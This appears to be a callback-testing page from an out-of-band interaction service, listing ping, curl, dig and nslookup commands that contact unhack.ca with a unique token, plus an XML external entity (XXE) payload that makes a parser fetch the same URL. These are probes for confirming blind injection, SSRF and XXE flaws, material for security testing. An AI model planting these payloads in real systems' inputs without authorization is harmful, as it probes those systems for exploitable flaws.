$ ping -c1 -p 00e05c1fae959c84c030fbe4ce57ef00 unhack.ca
 

$ curl http://unhack.ca/p/e05c1fae959c84c030fbe4ce57ef
 

$ dig e05c1fae959c84c030fbe4ce57ef @unhack.ca
 

$ dig e05c1fae959c84c030fbe4ce57ef.ns.unhack.ca
 

C:\> nslookup e05c1fae959c84c030fbe4ce57ef unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e05c1fae959c84c030fbe4ce57ef">]>
    <foo>&xxe;</foo>